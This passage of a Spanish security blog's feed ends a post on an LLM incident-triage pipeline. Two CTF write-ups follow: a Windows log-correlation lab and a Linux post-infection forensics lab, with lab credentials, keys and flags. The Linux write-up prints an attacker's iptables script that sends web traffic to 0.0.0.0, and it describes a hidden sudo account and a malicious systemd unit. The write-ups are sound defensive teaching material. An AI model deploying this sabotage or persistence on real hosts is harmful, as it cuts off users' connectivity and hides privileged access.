&lt;p&gt;Eso ya valía el experimento. Pero el escenario 3 fue donde apareció lo que buscaba.&lt;/p&gt;
&lt;p&gt;Las métricas estaban elevadas pero no críticas. Había un deploy reciente que podía explicarlo. Un sistema basado en umbrales habría declarado incidente o lo habría descartado. El Agente Analyst respondió de otra forma:&lt;/p&gt;
&lt;p&gt;Hay tres hipótesis. Con los datos actuales no puedo distinguir entre ellas. Aquí están los tres comandos exactos para hacerlo. Mi apuesta es un connection leak introducido por el deploy que lleva 29 horas acumulándose - el timing encaja. Pero necesito confirmación antes de declarar incidente.&lt;/p&gt;
&lt;p&gt;Y adjuntó las queries de PostgreSQL para verificarlo.&lt;/p&gt;
&lt;p&gt;El modelo reconoció un patrón ambiguo, eligió no colapsar en una respuesta binaria y devolvió el control al operador con información accionable. Eso es exactamente lo que diferencia un pipeline bien diseñado de uno que dispara con cualquier umbral.&lt;/p&gt;
&lt;h2&gt;Por qué funciona sin fundir créditos&lt;/h2&gt;
&lt;p&gt;Porque cada llamada tiene un propósito concreto, un contexto acotado y un output estructurado que el orquestador puede evaluar. No hay bucles de planificación y reflexión que se llaman a sí mismos. No hay modelo navegando tu sistema completo buscando qué hacer. El scope está definido, el criterio de parada está definido, y el flujo condicional evita activar el Agente Responder cuando no hace falta.&lt;/p&gt;
&lt;p&gt;La delegación con cabeza no significa delegar menos. Significa saber exactamente qué estás delegando y poder auditar el resultado.&lt;/p&gt;
&lt;h2&gt;Lo que necesitas para que esto tenga sentido&lt;/h2&gt;
&lt;p&gt;El pipeline del escenario 3 funcionó bien porque los conceptos del contexto de rol - connection leaks, cascadas, ventanas post-deploy, pg_stat_activity - son conceptos reales de SRE que yo puse ahí porque los entiendo. Si no los entendiera, no habría sabido qué incluir en el prompt ni habría podido evaluar si la respuesta era correcta.&lt;/p&gt;
&lt;p&gt;Un pipeline LLM sin conocimiento de dominio detrás no amplifica nada. Genera output plausible que parece correcto y puede no serlo. El coste no es solo económico.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;La herramienta no es el problema ni la solución. El criterio es lo que escala.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Código&lt;/h2&gt;
&lt;p&gt;Todo el proyecto - el orquestador, los prompts especializados, el generador de escenarios - está disponible en:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/oscaar90/incident-triage-agent&quot;&gt;incident-triage-agent&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Si trabajas en SRE o en operaciones y quieres experimentar con pipelines LLM bien acotados sin montar infraestructura compleja ni instalar dependencias externas, es un punto de partida honesto.&lt;/p&gt;
</content:encoded><author>Oscar</author></item><item><title>Santa Logs: un laboratorio para practicar trazabilidad básica en Windows</title><link>https://blog.oscarai.tech/posts/rastreo-de-un-binario-persistente-en-linux</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/rastreo-de-un-binario-persistente-en-linux</guid><pubDate>Fri, 20 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Máquina creada por:&lt;/strong&gt; Oscar&lt;br /&gt;
&lt;strong&gt;Plataforma:&lt;/strong&gt; The Hackers Labs&lt;br /&gt;
&lt;strong&gt;Sistema operativo:&lt;/strong&gt; Windows&lt;br /&gt;
&lt;strong&gt;Dificultad:&lt;/strong&gt; principiante&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Sobre este CTF&lt;/h2&gt;
&lt;p&gt;Santa Logs no nació como un laboratorio de explotación, sino como un ejercicio de análisis básico sobre evidencias locales en un sistema Windows. Lo planteé con una idea muy concreta: obligar a mirar los logs con atención cuando todavía no hay un SIEM, ni un stack de observabilidad, ni tooling forense avanzado que haga el trabajo por nosotros.&lt;/p&gt;
&lt;p&gt;La máquina está construida para que el recorrido tenga sentido desde una lógica de investigación mínima. No se trata de encadenar trucos, sino de interpretar señales sencillas pero útiles: intentos fallidos de acceso, una conexión válida que destaca frente al ruido, una alerta operativa y un artefacto sospechoso cuyo valor no está solo en existir, sino en cómo se relaciona con lo anterior.&lt;/p&gt;
&lt;p&gt;El contexto navideño sirve de envoltorio, pero la enseñanza buscada es bastante terrenal: saber leer eventos, separar ruido de señal y entender que una intrusión o una manipulación del sistema rara vez se explica por una sola pista aislada. Por eso diseñé la máquina alrededor de un visor de eventos muy acotado, una fuente de logs específica y un script cifrado que obliga a correlacionar datos antes de obtener la respuesta final.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Información técnica&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Campo&lt;/th&gt;
&lt;th&gt;Detalle&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Nombre&lt;/td&gt;
&lt;td&gt;Santa Logs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP objetivo&lt;/td&gt;
&lt;td&gt;No indicada en las notas&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Servicios&lt;/td&gt;
&lt;td&gt;FTP, SSH, SMB y visor de eventos personalizado&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cadena principal&lt;/td&gt;
&lt;td&gt;Revisión de logs, correlación de eventos y validación de un artefacto cifrado&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dificultad&lt;/td&gt;
&lt;td&gt;Principiante&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Punto de partida del laboratorio&lt;/h2&gt;
&lt;p&gt;El acceso inicial de la máquina está definido de forma explícita:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Usuario: santa
Password: Cl@us
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Una vez dentro, el laboratorio no abre con una consola ni con una superficie de ataque clásica, sino con algo más deliberado: el visor de eventos. Esa decisión de diseño no es casual. Quería que el primer reflejo del jugador no fuese enumerar binarios, servicios o shares, sino revisar qué rastro había dejado la actividad previa en el sistema.&lt;/p&gt;
&lt;p&gt;También limité la visibilidad de los eventos para centrar la lectura en una única fuente, &lt;code&gt;Santalogs&lt;/code&gt;. Eso reduce dispersión y fuerza a interpretar el contenido, no a perder tiempo navegando por registros irrelevantes.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Revisión inicial de eventos&lt;/h2&gt;
&lt;p&gt;Al abrir el visor de eventos, el sistema no muestra registros útiles en los canales habituales. Toda la actividad de interés está concentrada en &lt;code&gt;Santalogs&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Eso tiene dos objetivos. El primero es didáctico: evitar que la fase se convierta en una búsqueda caótica dentro de Windows. El segundo es técnico: enseñar que, en un entorno real, muchas veces el valor no está en “tener muchos logs”, sino en saber dónde mirar y qué eventos merecen correlación.&lt;/p&gt;
&lt;p&gt;Aquí el laboratorio plantea tres preguntas muy concretas, pero cada una representa una dimensión distinta del análisis:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;volumen de ruido o presión sobre un servicio&lt;/li&gt;
&lt;li&gt;identificación de un origen que sí consiguió acceso&lt;/li&gt;
&lt;li&gt;señales operativas que pueden contextualizar la actividad&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Intentos fallidos de acceso por FTP&lt;/h2&gt;
&lt;p&gt;La primera evidencia relevante es el recuento de intentos fallidos de acceso por FTP. En los logs registrados aparecen &lt;strong&gt;50&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Ese dato, por sí solo, no compromete el sistema, pero sí representa una situación muy común fuera del CTF: servicios expuestos que acumulan autenticaciones fallidas y terminan normalizando comportamientos que no deberían verse como rutinarios. La intención aquí era que el jugador entendiera que incluso un dato simple, como un contador de fallos, puede ser el primer indicador de presión externa o de actividad anómala.&lt;/p&gt;
&lt;p&gt;El valor pedagógico de esta fase no está en responder “50”, sino en reconocer qué significa ese número dentro del contexto de un servicio accesible y observable.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Conexión SSH exitosa&lt;/h2&gt;
&lt;p&gt;Frente al ruido de FTP, los logs también muestran una conexión SSH exitosa desde la IP &lt;strong&gt;192.168.1.101&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Aquí la máquina cambia de registro. Ya no hablamos de intentos fallidos, sino de una evidencia positiva de acceso. Quise que esta parte sirviera para enseñar una idea básica pero importante: en una investigación inicial no todo el peso debe recaer sobre los errores; muchas veces la pista útil está en el acceso que sí funcionó.&lt;/p&gt;
&lt;p&gt;La IP identificada se convierte después en una pieza reutilizable dentro de la cadena. Eso refuerza otro aprendizaje que me interesaba introducir: los indicadores no suelen vivir aislados. Una dirección IP observada en autenticación puede reaparecer en otros artefactos y ganar valor precisamente por esa repetición.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Alerta operativa sobre espacio en disco&lt;/h2&gt;
&lt;p&gt;Otro de los eventos registrados deja un mensaje de advertencia claro:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Low disk space
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Esta fase existe para romper una lectura demasiado lineal del laboratorio. No todo en los logs tiene que ser una credencial, una IP o un acceso. También hay eventos operativos que, en un contexto real, ayudan a entender el estado del sistema y a formular hipótesis.&lt;/p&gt;
&lt;p&gt;Quería que apareciera una alerta que no fuese un “hallazgo de intrusión” en sentido estricto, pero que sí recordara algo importante: los problemas de capacidad, almacenamiento o mantenimiento también forman parte del análisis. En una máquina comprometida, estos avisos pueden ser ruido inocente o una consecuencia indirecta de actividad maliciosa. Aprender a no descartarlos de forma automática también forma parte del ejercicio.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;La clave para descifrar el script sospechoso&lt;/h2&gt;
&lt;p&gt;La pregunta central del laboratorio gira alrededor de &lt;code&gt;malicious_script.py&lt;/code&gt;. El archivo no puede inspeccionarse ni modificarse directamente, de modo que obliga a trabajar con el contexto disponible.&lt;/p&gt;
&lt;p&gt;La clave obtenida a partir de los logs es:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FTP25_SMB192.168.1.101
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Aquí la intención de diseño era bastante clara: construir una relación explícita entre observación y acción. El jugador no recibe la solución por fuerza bruta ni por inspección directa del archivo, sino por correlación de datos vistos previamente en el sistema.&lt;/p&gt;
&lt;p&gt;La cadena resume bien el propósito de la máquina:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;un servicio con intentos fallidos&lt;/li&gt;
&lt;li&gt;una IP que sí consiguió acceso&lt;/li&gt;
&lt;li&gt;un artefacto cifrado que depende de esa información previa&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No buscaba enseñar criptografía ni reversing, sino una disciplina más básica y más reutilizable: antes de intentar romper un artefacto, conviene preguntarse qué contexto del sistema ya lo explica.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Validación del artefacto y obtención de la flag&lt;/h2&gt;
&lt;p&gt;Al ejecutar el script, el sistema solicita la clave obtenida en la fase anterior. Al introducirla correctamente, devuelve la flag final:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;oscar_feliz_navidad
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La resolución final es sencilla a propósito. No me interesaba rematar la máquina con una fase artificiosa, sino cerrar el recorrido confirmando que toda la investigación previa tenía una utilidad práctica. La flag no representa aquí un premio técnico complejo, sino la validación de que se ha entendido la relación entre los eventos y el artefacto.&lt;/p&gt;
&lt;p&gt;Ese cierre encaja con la filosofía general del laboratorio: la dificultad no está en herramientas avanzadas ni en explotación profunda, sino en leer bien una secuencia pequeña de evidencias y convertirla en una respuesta coherente.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Qué quería enseñar al diseñar Santa Logs&lt;/h2&gt;
&lt;p&gt;Santa Logs está pensado como un laboratorio de correlación básica sobre Windows con una narrativa ligera, pero con una intención muy concreta detrás: enseñar a trabajar con indicios simples cuando todavía no existe un ecosistema de análisis maduro alrededor.&lt;/p&gt;
&lt;p&gt;La máquina no pretende simular un incidente complejo. Lo que busca es fijar una secuencia mental útil:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;identificar la fuente de evidencia adecuada&lt;/li&gt;
&lt;li&gt;distinguir entre ruido y señal&lt;/li&gt;
&lt;li&gt;extraer indicadores concretos&lt;/li&gt;
&lt;li&gt;reutilizarlos para validar un artefacto sospechoso&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Esa cadena tiene sentido más allá del entorno CTF, porque muchas investigaciones reales empiezan exactamente así: con acceso limitado, con pocos datos y con la necesidad de razonar antes de ejecutar.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Fase&lt;/th&gt;
&lt;th&gt;Qué enseña&lt;/th&gt;
&lt;th&gt;Error representado&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Revisión del visor de eventos&lt;/td&gt;
&lt;td&gt;Localizar la fuente útil de evidencia&lt;/td&gt;
&lt;td&gt;Dependencia excesiva de tooling externo para empezar a investigar&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Intentos fallidos por FTP&lt;/td&gt;
&lt;td&gt;Medir presión o actividad anómala sobre un servicio&lt;/td&gt;
&lt;td&gt;Exposición de servicios con autenticaciones repetidas&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Conexión SSH exitosa&lt;/td&gt;
&lt;td&gt;Identificar un acceso válido entre mucho ruido&lt;/td&gt;
&lt;td&gt;Falta de vigilancia sobre accesos exitosos relevantes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Alerta de espacio en disco&lt;/td&gt;
&lt;td&gt;Contextualizar el estado operativo del sistema&lt;/td&gt;
&lt;td&gt;Ignorar señales de sistema que pueden complementar el análisis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Descifrado de &lt;code&gt;malicious_script.py&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Correlacionar indicadores antes de actuar sobre un artefacto&lt;/td&gt;
&lt;td&gt;Analizar ficheros sospechosos sin contexto previo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Obtención de la flag&lt;/td&gt;
&lt;td&gt;Validar hipótesis a partir de evidencias coherentes&lt;/td&gt;
&lt;td&gt;Resolver por prueba y error en lugar de por lectura técnica&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Recursos y referencias&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Visor de eventos de Windows&lt;/li&gt;
&lt;li&gt;Revisión manual de registros personalizados&lt;/li&gt;
&lt;li&gt;Correlación básica de indicadores entre servicios y artefactos locales&lt;/li&gt;
&lt;li&gt;Análisis controlado de scripts cifrados en laboratorio&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>Oscar</author></item><item><title>El amigo: una infección sencilla pensada para enseñar persistencia, sabotaje y cuentas ocultas</title><link>https://blog.oscarai.tech/posts/el-amigo-una-infecci%C3%B3n-sencilla-pensada-para-ense%C3%B1ar-persistencia-sabotaje-y-cuentas-ocultas</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/el-amigo-una-infecci%C3%B3n-sencilla-pensada-para-ense%C3%B1ar-persistencia-sabotaje-y-cuentas-ocultas</guid><pubDate>Fri, 20 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Máquina creada por:&lt;/strong&gt; Oscar&lt;br /&gt;
&lt;strong&gt;Plataforma:&lt;/strong&gt; The Hackers Labs&lt;br /&gt;
&lt;strong&gt;Sistema operativo:&lt;/strong&gt; Linux&lt;br /&gt;
&lt;strong&gt;Dificultad:&lt;/strong&gt; media&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Sobre este CTF&lt;/h2&gt;
&lt;p&gt;Esta máquina la diseñé como un laboratorio de análisis de infección con una idea muy concreta: mostrar cómo una intrusión relativamente simple puede degradar un sistema sin necesidad de desplegar una cadena especialmente sofisticada.&lt;/p&gt;
&lt;p&gt;El objetivo no era construir una colección de trucos aislados, sino una secuencia coherente de acciones que obligara a leer el sistema como lo haría alguien en una tarea de respuesta ante incidentes. Por eso el foco no está en “llegar a una flag”, sino en reconstruir qué ha hecho el atacante, cómo ha mantenido presencia en la máquina y de qué forma ha alterado el comportamiento normal del equipo.&lt;/p&gt;
&lt;p&gt;En este caso quise representar tres decisiones típicas dentro de una infección con impacto operativo claro:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;la creación masiva de cuentas para introducir ruido y dificultar el análisis;&lt;/li&gt;
&lt;li&gt;la existencia de una cuenta privilegiada oculta entre ese ruido;&lt;/li&gt;
&lt;li&gt;la persistencia mediante un servicio malicioso que altera la conectividad redirigiendo tráfico.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;La gracia del laboratorio no está en resolver preguntas sueltas, sino en entender la intención de cada fase. Cada evidencia está puesta para forzar una lectura técnica: no basta con ver que algo falla, hay que explicar por qué falla y qué decisión de diseño hay detrás.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Información técnica&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Campo&lt;/th&gt;
&lt;th&gt;Valor&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Nombre&lt;/td&gt;
&lt;td&gt;El amigo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IP objetivo&lt;/td&gt;
&lt;td&gt;No especificada en las notas&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Servicios&lt;/td&gt;
&lt;td&gt;Persistencia mediante servicio systemd malicioso&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cadena principal&lt;/td&gt;
&lt;td&gt;Creación masiva de usuarios, cuenta privilegiada oculta y redirección de tráfico&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dificultad&lt;/td&gt;
&lt;td&gt;Media&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Contexto del laboratorio&lt;/h2&gt;
&lt;p&gt;El escenario parte de algo cotidiano: un usuario doméstico que instala o ejecuta algo que no debería y, a partir de ahí, el sistema deja de comportarse con normalidad. Elegí este enfoque porque obliga a pensar menos en la explotación clásica y más en el análisis posterior: qué ha cambiado, qué artefactos permanecen y cómo distinguir ruido de evidencia útil.&lt;/p&gt;
&lt;p&gt;Ese planteamiento también ayuda a salir del patrón habitual de muchos retos técnicos en los que toda la atención se la lleva la intrusión inicial. Aquí lo importante es lo que queda después. La máquina está construida para que el participante tenga que responder preguntas concretas, pero el aprendizaje real aparece al relacionarlas entre sí.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Revisión de cuentas creadas&lt;/h2&gt;
&lt;p&gt;Una de las primeras piezas que quise introducir en este laboratorio fue la creación masiva de usuarios con un patrón común. A nivel técnico, esto permite detectar que el sistema ha sido manipulado; a nivel didáctico, sirve para enseñar que no todas las cuentas nuevas tienen el mismo valor analítico.&lt;/p&gt;
&lt;p&gt;La evidencia más evidente aparece al revisar los directorios personales:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jony@jony-VirtualBox:~$ ls /home/
challangue00  challangue07  challangue14  challangue21  challangue28  challangue35  challangue42  challangue49
challangue01  challangue08  challangue15  challangue22  challangue29  challangue36  challangue43  challangue50
challangue02  challangue09  challangue16  challangue23  challangue30  challangue37  challangue44  jony
challangue03  challangue10  challangue17  challangue24  challangue31  challangue38  challangue45
challangue04  challangue11  challangue18  challangue25  challangue32  challangue39  challangue46
challangue05  challangue12  challangue19  challangue26  challangue33  challangue40  challangue47
challangue06  challangue13  challangue20  challangue27  challangue34  challangue41  challangue48
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Pero el diseño no se queda en lo visible. La intención era obligar a no confiar solo en el listado de &lt;code&gt;/home/&lt;/code&gt;, sino a contrastarlo con la base real de cuentas del sistema. Por eso la comprobación relevante está en &lt;code&gt;/etc/passwd&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;awk -F: &apos;/^challangue/ {print $1, $6}&apos; /etc/passwd
challangue00 /home/challangue00
challangue01 /home/challangue01
challangue02 /home/challangue02
challangue03 /home/challangue03
challangue04 /home/challangue04
challangue05 /home/challangue05
challangue06 /home/challangue06
challangue07 /home/challangue07
challangue08 /home/challangue08
challangue09 /home/challangue09
challangue10 /home/challangue10
challangue11 /home/challangue11
challangue12 /home/challangue12
challangue13 /home/challangue13
challangue14 /home/challangue14
challangue15 /home/challangue15
challangue16 /home/challangue16
challangue17 /home/challangue17
challangue18 /home/challangue18
challangue19 /home/challangue19
challangue20 /home/challangue20
challangue21 /home/challangue21
challangue22 /home/challangue22
challangue23 /home/challangue23
challangue24 /home/challangue24
challangue25 /home/challangue25
challangue26 /home/challangue26
challangue27 /home/challangue27
challangue28 /home/challangue28
challangue29 /home/challangue29
challangue30 /home/challangue30
challangue31 /home/challangue31
challangue32 /home/challangue32
challangue33 /home/challangue33
challangue34 /home/challangue34
challangue35 /home/challangue35
challangue36 /home/challangue36
challangue37 /home/challangue37
challangue38 /home/challangue38
challangue39 /home/challangue39
challangue40 /home/challangue40
challangue41 /home/challangue41
challangue42 /home/challangue42
challangue43 /home/challangue43
challangue44 /home/challangue44
challangue45 /home/challangue45
challangue46 /home/challangue46
challangue47 /home/challangue47
challangue48 /home/challangue48
challangue49 /home/challangue49
challangue50 /home/challangue50
challangue1O /home/.hidden_challangue1O
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La clave de esta fase está en esa última entrada. No me interesaba solo que el jugador contara usuarios, sino que detectara que entre decenas de cuentas aparentemente homogéneas hay una distinta: su home no sigue el mismo patrón visible y, además, el nombre está pensado para provocar errores de lectura rápida.&lt;/p&gt;
&lt;p&gt;El recuento final queda así:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jony@jony-VirtualBox:~$ awk -F: &apos;/^challangue/ {print $1}&apos; /etc/passwd | wc -l
52
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La respuesta correcta es &lt;code&gt;52&lt;/code&gt;, pero lo importante es el porqué del diseño: quería representar una técnica sencilla de ocultación basada en volumen y naming engañoso. En entornos reales no siempre se esconde algo sofisticado; muchas veces basta con enterrarlo entre artefactos repetitivos para que pase desapercibido en una revisión superficial.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;La cuenta privilegiada dentro del ruido&lt;/h2&gt;
&lt;p&gt;Una vez introducido el ruido, la siguiente decisión de diseño era colocar dentro de él la cuenta realmente relevante. No quería que el hallazgo dependiera de una vulnerabilidad, sino de una buena lectura de atributos del sistema: UID, GID y grupos suplementarios.&lt;/p&gt;
&lt;p&gt;La comprobación que deja clara esa diferencia es esta:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jony@jony-VirtualBox:~$ id challangue1O
uid=65000(challangue1O) gid=65000(hidden_group) grupos=65000(hidden_group),27(sudo)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;La respuesta pedida por el laboratorio es &lt;code&gt;65000&lt;/code&gt;, pero el punto interesante no es solo el número. Lo importante es que esa cuenta, aparentemente una más dentro del patrón &lt;code&gt;challangueXX&lt;/code&gt;, tiene privilegios efectivos al pertenecer al grupo &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Diseñé esta fase para enseñar dos cosas. La primera es que revisar únicamente nombres de usuario no basta; hay que mirar contexto de privilegios. La segunda es que un atacante no necesita crear una cuenta con un nombre escandalosamente evidente para mantener acceso útil. Le basta con incrustarla en una estructura que parezca desordenada pero inocua.&lt;/p&gt;
&lt;p&gt;También me interesaba reflejar un error operativo bastante real: organizaciones que revisan altas de cuentas por volumen, pero no cruzan bien esa información con memberships privilegiados. En ese tipo de escenarios, el problema no es la cuenta en sí, sino su capacidad efectiva dentro del sistema.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Persistencia mediante systemd&lt;/h2&gt;
&lt;p&gt;La siguiente pieza del laboratorio era la persistencia. Aquí quise evitar mecanismos excesivamente rebuscados y optar por uno muy reconocible y, precisamente por eso, muy útil como aprendizaje: un servicio &lt;code&gt;systemd&lt;/code&gt; malicioso.&lt;/p&gt;
&lt;p&gt;La evidencia aparece al listar unidades de servicio:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl list-units --type=service --all
● che.service                              loaded    failed   failed  Disable DNS on boot
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;El nombre del servicio malicioso es &lt;code&gt;che.service&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;La decisión de dejarlo en estado fallido no es casual. Está pensada para que el participante no busque solo servicios activos, sino también unidades cargadas o fallidas que sigan siendo relevantes dentro del historial del sistema. En muchos análisis rápidos se filtra demasiado pronto por “lo que está corriendo ahora” y se pierde contexto de persistencia o sabotaje.&lt;/p&gt;
&lt;p&gt;Además, el texto descriptivo del servicio apunta a una narrativa engañosa: algo que aparentemente “deshabilita DNS” cuando, en realidad, el comportamiento observado tiene que ver con una manipulación de tráfico más amplia. Ese pequeño desajuste entre descripción y efecto también forma parte del aprendizaje. No todo lo que declara un artefacto malicioso coincide con su función real.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Sabotaje de red y redirección de tráfico&lt;/h2&gt;
&lt;p&gt;La fase final de la cadena se centra en el impacto visible para el usuario. En el relato del reto, el problema aparente es que “internet no funciona”. No quise plantearlo como una caída abstracta, sino como una consecuencia directa de un mecanismo de sabotaje que el analista puede reconstruir.&lt;/p&gt;
&lt;p&gt;El script responsable aparece en el home oculto de la cuenta relevante:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo ls -l /home/.hidden_challangue1O/
total 4
-rwxr-xr-x 1 root root 167 mar 10 12:26 redirect.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Su contenido explica el síntoma:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jony@jony-VirtualBox:~$ sudo cat /home/.hidden_challangue1O/redirect.sh
#!/bin/bash
iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 0.0.0.0
iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination 0.0.0.0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Aquí las respuestas del reto son directas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;script de redirección: &lt;code&gt;redirect.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;IP de destino: &lt;code&gt;0.0.0.0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pero la parte que me interesaba enseñar va más allá de esos valores. Esta fase representa un sabotaje operativo muy simple: alterar la salida HTTP y HTTPS para inutilizar la conectividad desde la propia máquina. No hace falta un malware complejo para generar impacto visible; con tocar reglas de &lt;code&gt;iptables&lt;/code&gt; en el punto adecuado basta para romper comportamiento crítico de usuario y, al mismo tiempo, desviar la investigación hacia una falsa “caída de internet”.&lt;/p&gt;
&lt;p&gt;También quise que el laboratorio obligara a relacionar persistencia e impacto. El servicio no existe de forma aislada: tiene sentido porque apunta a un script concreto, y ese script tiene sentido porque explica el síntoma que motiva toda la investigación. Esa continuidad es importante. La máquina está construida para que cada artefacto responda a una decisión de diseño y no parezca una colección arbitraria de indicadores.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Qué quería enseñar al diseñar el amigo&lt;/h2&gt;
&lt;p&gt;Este laboratorio lo construí para enseñar una cadena pequeña pero coherente de post-infección en Linux. No hace falta una intrusión especialmente aparatosa para comprometer la operativa de un sistema y dejar persistencia útil. De hecho, uno de los aprendizajes más reutilizables es precisamente ese: muchas incidencias “menores” esconden cambios muy básicos pero bien colocados.&lt;/p&gt;
&lt;p&gt;La secuencia que quise reflejar fue esta:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;el atacante crea volumen artificial mediante cuentas repetitivas;&lt;/li&gt;
&lt;li&gt;inserta entre ellas una cuenta con privilegios;&lt;/li&gt;
&lt;li&gt;deja persistencia mediante &lt;code&gt;systemd&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;ejecuta sabotaje de conectividad con reglas NAT sobre tráfico saliente.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Esa cadena tiene sentido fuera del CTF porque combina tres categorías de fallo muy comunes en incidentes reales: falta de control sobre identidades locales, escasa revisión de persistencia en servicios del sistema y visibilidad insuficiente sobre cambios en reglas de red del host.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Fase&lt;/th&gt;
&lt;th&gt;Qué enseña&lt;/th&gt;
&lt;th&gt;Error representado&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Creación masiva de usuarios&lt;/td&gt;
&lt;td&gt;Distinguir ruido de evidencia útil&lt;/td&gt;
&lt;td&gt;Falta de control sobre cuentas locales&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
